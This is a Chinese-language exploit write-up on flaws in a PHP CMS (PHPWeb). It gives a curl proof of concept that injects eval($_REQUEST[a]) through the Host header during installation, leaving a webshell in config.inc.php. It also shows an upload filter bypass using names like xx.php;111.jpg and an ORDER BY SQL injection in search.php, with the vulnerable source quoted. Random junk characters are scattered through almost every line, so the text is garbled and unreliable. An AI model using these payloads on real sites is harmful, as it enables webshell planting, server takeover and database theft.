注入:' R2 ~3 R& D# Z6 w
9 x" {7 ]6 D: M之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 z$ p- l- V$ e1 H# }( W( B: u
1 }8 n2 @& K& y鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( {* o: `9 e+ Q6 Y f: i! ~鸡肋2: 有一定安全常识的站长都会删掉 install 目录
9 I- ]) x8 Y' [7 A: H5 d
/ a2 N+ V: M% c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响* \ e9 F: Z* C6 k
* T( x, h! ^8 O5 p: U! q分析:( f" T7 G6 l+ D* I3 [
0 T+ A; Y, }6 S" ^# ~2 z+ ~4 Z, ^
$ j: r, u# H- E! k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤$ M, k" X% b+ t* |0 `
( v9 [ {6 O% U+ j4 |! S7 U $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 h ~" ?' D: G$ y0 z
$filestr=str_replace(" ","",$filestr);/ b' g( q1 `, {* r
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
5 e. V1 C" G% y- ~) J $filestr=str_replace("DefaultDbName",$dbname,$filestr);
+ [7 R# }# E/ e( s9 n6 l; ] $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
5 P7 S' n c! }, b $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);' ^; y5 F, n! y/ z( `1 N% s# e
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);# s7 z3 U: h& J7 U
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
/ T& P( r1 C5 D3 ?+ v& M% J $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) ^: T5 {5 u$ n
/ q$ L `; ?( c! p: n
fwrite(fopen($ConFile,"w"),$filestr,30000);* N( }/ m% c8 m" W& T6 t0 j
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^, k& O9 Y+ B5 y8 }( }( ~4 s5 f4 V' e
- ~# c( z1 ~$ h W" ppoc:5 Q) U2 ?- v4 J( P- ?3 E. Z1 v
. N9 H* e4 q. s6 U% }! b7 N1 \?
" s- T% U$ a d: `, ^4 {$ Q1% M1 |: P7 r: d9 ?( {
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
6 Q' }6 P* P. `, Q' `( O1 |, Rshell地址: /config.inc.php
- ?1 C7 n+ l; p: w. u9 m4 q% @跟之前的 phpcms一样 需要远程数据库/ s) t0 q) D$ e f Y
& G! f- ]) S( n1 `# N% q) u% ]! E1 l1 u
——————————————————–3 f8 X; K1 b2 [, _. m1 W9 s
上传漏洞(需要进后台):
- t% _' g2 I- z漏洞文件: /kedit/upload_cgi/upload.php- C) Z8 Q. B( D4 `
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
{: D0 D8 Y1 `0 P* W + o/ q; C/ d n, ?* ]/ Y. K
2 `! M6 E) ?$ r) s5 V& V, C
<?php# d5 b l7 s. ~8 a
define("ROOTPATH", "../../");
0 A2 {: |/ M5 _ include(ROOTPATH."includes/admin.inc.php");/ _0 q, G" b( A1 [; p
NeedAuth(0);
5 \7 x2 L0 M O* i2 {
& H- S: |% L0 H $dt=date("Ymd",time());
! B k% @* T3 }$ v9 a9 ? if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 t/ b. Q) @& Q6 T8 m
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 o: y' i7 f+ s( y% y' n% @ }) R/ V) X# y7 N! v/ s
G, I7 B5 X8 }' \8 M# h3 O
//文件保存目录路径1 `; C% h( \9 z# }4 T2 x' V
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% G: x% X, Q! E6 [# P+ V9 E5 e echo $save_path;; j0 m3 C% u2 H% U9 A; w
//文件保存目录URL; w# S8 R% [+ _# C
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
7 l9 r* i6 S; y& W' n2 y6 f( }$ u
4 ]! x9 r% q* } Y+ f1 \ //定义允许上传的文件扩展名
7 w; c8 r4 D6 E, d9 @ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 O7 v' M x& I8 V% |" | 1 ?1 d" @' Z; s0 X! G7 |% P7 J( w7 V
//最大文件大小
, c! Q! d/ O3 y; o0 r9 a# T) u* _. v $max_size = 1000000;) h+ I# z( D! V) g" ^
# M% a9 A$ P" r/ B( V3 Z
//更改目录权限
' Z# q$ t. E4 [5 X; R @mkdir($save_path, 0777);- g, _: X+ y; ^5 Z2 V
6 `0 @( w2 c/ Z+ @2 ?) ?
//文件的全部路径8 A) n/ r# \( W6 U& M, q
$file_path = $save_path.$_POST['fileName']; //保存文件名# y" E" H$ a q0 s
' \; y3 t- X% A //文件URL
! }4 d0 ]2 a6 L+ p $file_url = $save_url.$_POST['fileName'];' x4 K6 Y0 L1 N' ]: p
//有上传文件时
9 k, |3 n7 ?2 l7 i, o* X2 K/ w8 [ if (empty($_FILES) === false) {8 ?. X/ |1 o) H7 Z& `, t
/ J8 Q8 }1 G0 L7 {3 |( y
//原文件名
4 o' t9 J+ O" | $file_name = $_FILES['fileData']['name'];
9 O1 c, [7 y! A' _' i //服务器上临时文件名
n& ^$ j/ X3 e% f $tmp_name = $_FILES['fileData']['tmp_name'];2 b3 z$ ^9 i# }) S: a" e
//文件大小
) q7 D% I6 g, y% [8 J" C $file_size = $_FILES['fileData']['size'];7 L: t7 Q- ]/ E
//检查目录* Q \" {% w/ a% v6 o
if (@is_dir($save_path) === false) {+ E- R1 V5 w! L) ]2 t& h
alert("上传目录不存在。"); |9 A* s/ c+ j. r* U* A' f0 M
}
8 ~, L. {1 Q& T* b! K //检查目录写权限
7 f6 }. K C2 C; i5 N if (@is_writable($save_path) === false) {
, j% u4 S% _0 d7 s' ]' x& O' ~" N alert("上传目录没有写权限。");
( W+ B" ], k D, Q" ` }# `! l+ W [6 r1 v5 B
//检查是否已上传, N2 j1 Z* b+ r
if (@is_uploaded_file($tmp_name) === false) {
- F0 r/ x$ P6 Z" k! m% m. q. h alert("临时文件可能不是上传文件。");) c8 R" A. V# X1 B" k
}
( N# s! V- U2 w9 s3 D //检查文件大小
) \, W) V6 j z5 T$ f8 f/ s$ g+ | if ($file_size > $max_size) {/ Q$ f/ m: _6 M o. [
alert("上传文件大小超过限制。");
; O9 r" N" M8 s7 n+ X4 B$ q }0 o6 `' n B; H- H/ |- F1 v
//获得文件扩展名# L2 E! X- [% }9 D! A
$temp_arr = explode(".", $_POST['fileName']);
8 W" i! M: G6 G) v $file_ext = array_pop($temp_arr);( i" h2 q: h7 Y3 Q- l2 `3 m
$file_ext = trim($file_ext);
& R% }1 ?4 a6 Q3 q $file_ext = strtolower($file_ext);' o v7 c z, C3 f- z' r
. |4 q) L3 X; @, r# e& t //检查扩展名 * }5 ~: n% p7 I0 z- U
if (in_array($file_ext, $ext_arr) === false) {
1 d# g8 H/ e2 g5 D alert("上传文件扩展名是不允许的扩展名。");
& F. R, A# B) q; N" b }" ] M* |- [, _5 [: N
1 A U' t# P1 B, J1 y+ j
//移动文件 6 ` J$ j: A; c7 w5 @( i" N
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
" h o- y) y* R if (move_uploaded_file($tmp_name, $file_path) === false) {
4 S! q& g9 X1 r alert("上传文件失败。");
e/ g& F* ?7 }7 W9 I6 l" _) r0 b0 p }
! i, m9 I/ z H) c' G1 n# t0 j
' q! G# X6 ?9 {+ y @chmod($file_path,0666);
) v" L7 b$ L! ^: X% u p6 e) O1 m3 S9 a$ ]9 z/ W
?>
; V5 F8 D" f/ j; x' {: s" U+ @抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' S6 _3 T& ?2 C
1 Y* J' h) v. S. V# d- E/ P8 j. ~( bapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
1 }4 n3 n: u {! k3 |/ k2 N
4 w& k2 O# A* q5 c' K- l——————————————————
9 I. h: g* M. ], i T& F注入漏洞: M" \( i9 V0 c8 x. _" o+ r$ s
漏洞文件:search/module/search.php
# `8 Y9 O3 c) X$ M5 C/search/index.php?key=1&myord=1 [sqlinjection]
' s+ n) Q* G2 G. \1 V. a" l: T
+ Q/ S" V" t! n: n : L, O9 m9 i$ A" q2 u; E6 x6 Z
<?php
2 c0 H& E$ P h5 u4 K/ N$ M7 G // ... 省略 n 行...
- Y. n9 v9 _6 [& t1 n4 N //第18行:2 |: M v- y7 I' T9 `
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响! L: [2 R1 v& \' p2 s
$page=htmlspecialchars($_GET["page"]);
8 a0 p+ O# W( y $myord=htmlspecialchars($_GET["myord"]);
1 P% p1 l' y. K# g* Q9 ], |( x ( v8 Q" I1 P: M$ {. \6 D* k
// ... 省略 n 行...! V; u. j% I `0 v8 D. U$ }9 E
$key,$myord 两个参数带入查询
k/ H8 T: z% W2 @9 C //第47行 $key:
2 e3 B' D* K" C ) G, D" K$ A6 ]' P$ G ]+ T% v
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 v0 P1 Y+ f0 B- q5 s8 q % _3 \% F. u' j
//第197行 $myord3 O2 A+ V. X* H8 s! o* Z0 Q
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
# t* d$ V9 S z" s- M8 R3 z; S
1 [& ^8 z' M9 B7 n1 t ?>
8 b" n% o# f P- l |